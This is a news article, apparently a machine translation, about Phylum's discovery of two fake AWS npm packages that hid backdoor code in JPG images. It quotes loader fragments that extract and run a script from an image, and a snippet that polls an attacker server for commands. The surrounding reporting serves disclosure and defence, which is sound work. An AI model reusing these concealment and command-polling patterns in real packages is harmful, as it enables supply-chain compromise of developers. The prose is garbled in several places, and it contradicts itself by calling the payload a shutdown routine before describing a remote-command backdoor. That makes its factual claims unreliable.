Researchers have determined that two fake AWS packages downloaded hundreds of times from the NPM JavaScript open source repository contained carefully hidden code that shut down developers’ computers when executed.
packages –img-aws-s3-object-multipart-copy AND legacyaws-s3-object-multipart-copy— were attempts to appear as aws-s3-object-multipart-copy, a legitimate JavaScript library for copying files using the Amazon S3 cloud service. The fake files included all the code found in the legitimate library, but added an additional JavaScript file called loadformat.js. That file provided what appeared to be good code and three JPG images that were processed during the package installation. One of those images contained code snippets that, when reconstructed, formed the code to shut down the developer’s device.
Growing sophistication
“We have reported these packages for removal, however the malicious packages remained available on npm for nearly two days,” wrote researchers from Phylum, the security firm that discovered the packages. “This is worrying as it means most systems are unable to detect and report on these packets immediately, leaving developers vulnerable to attacks for longer periods of time.”
In an email, Phylum head of Research Ross Bryant said img-aws-s3-object-multipart-copy received 134 downloads before it was removed. The other file, legacyaws-s3-object-multipart-copy, got 48.
The care package developers pay to their code and the effectiveness of their tactics underscore the growing sophistication of attacks targeting open source repositories, which in addition to NPM have included PyPI, GitHub, and RubyGems. Advances made it possible for the vast majority of malware scanning products to miss the backdoor hidden in these two packages. In the past 17 months, threat actors backed by the North Korean government have twice targeted developers, one of them using a zero-day vulnerability.
Phylum researchers provided an in-depth analysis of how the concealment worked:
Analyzing loadformat.js file, we find what appears to be fairly harmless image analysis code.
However, upon closer inspection, we see that this code is doing some interesting things, resulting in execution on the victim’s machine.
After reading the image file from disk, each byte is parsed. Each byte with a value between 32 and 126 is converted from Unicode values to a character and added to analyzepixels variable.
function processImage(filePath) {
console.log("Processing image...");
const data = fs.readFileSync(filePath);
let analyzepixels = "";
let convertertree = false;
for (let i = 0; i < data.length; i++) {
const value = data[i];
if (value >= 32 && value <= 126) {
analyzepixels += String.fromCharCode(value);
} else {
if (analyzepixels.length > 2000) {
convertertree = true;
break;
}
analyzepixels = "";
}
}
// ...
The threat actor then defines two separate bodies of a function and stores each in its own variables, imagebyte AND analyzePixels.
whether convertertree is placed in true, imagebyte is placed in analyzepixels. In simple language, if converttree is set, it will execute whatever is contained in the script we extracted from the image file.
if (convertertree) {
console.log("Optimization complete. Applying advanced features...");
imagebyte = analyzepixels;
} else {
console.log("Optimization complete. No advanced features applied.");
}
Looking above, we notice that convertertree will be placed in true if the length of bytes found in the image is greater than 2000.
if (analyzepixels.length > 2000) {
convertertree = true;
break;
}
The author then creates a new function using whatever code sends an empty POST request cloudconvert.com or starts running whatever is extracted from the image files.
We find these three files in the root of the package, which are included below without modification unless otherwise noted.
It appears as logo1.jpg in the packageIt appears as logo2.jpg in the packageIt appears as logo3.jpg in the package. Edited here as the file is corrupt and in some cases won’t display properly.
If we go through each of these processImage(...) function from above, we find that Intel’s image (ie logo1.jpg) does not contain enough “valid” bytes to set converttree variable for him true. The same applies to logo3.jpg, the AMD logo. However, for the Microsoft logo (logo2.jpg), we find the following, formatted for readability:
It then sets an interval that elapses periodically and receives commands from the attacker every 5 seconds.
let fetchInterval = 0x1388;
let intervalId = setInterval(fetchAndExecuteCommand, fetchInterval);
The received commands are executed on the device and the output is sent to the attacker at the endpoint /post-results?clientId=<targetClientInfoName>.
One of the most innovative methods in recent memory for hiding an open-source backdoor was revealed in March, just weeks before it was included in a production version of XZ Utils, an available data compression tool on almost all Linux installations. The backdoor was implemented through a five-stage bootloader that used a series of simple but clever stealth techniques. Once installed, the backdoor allowed threat actors to log into infected systems with administrative system rights.
The person or group responsible spent years working on the back door. In addition to the sophistication of the obfuscation method, the entity devoted a lot of time to producing high-quality code for open source projects in a successful effort to build trust with other developers.
In May, Phylum disrupted a separate campaign that covered a package available on PyPI that also used steganography, a technique that embeds secret code in images.
“In recent years, we have seen a dramatic increase in the sophistication and volume of malicious packages published in open source ecosystems,” Phylum researchers write. “Make no mistake, these attacks are successful. It is absolutely imperative that developers and security organizations be acutely aware of this fact and be deeply vigilant about the open source libraries they consume.”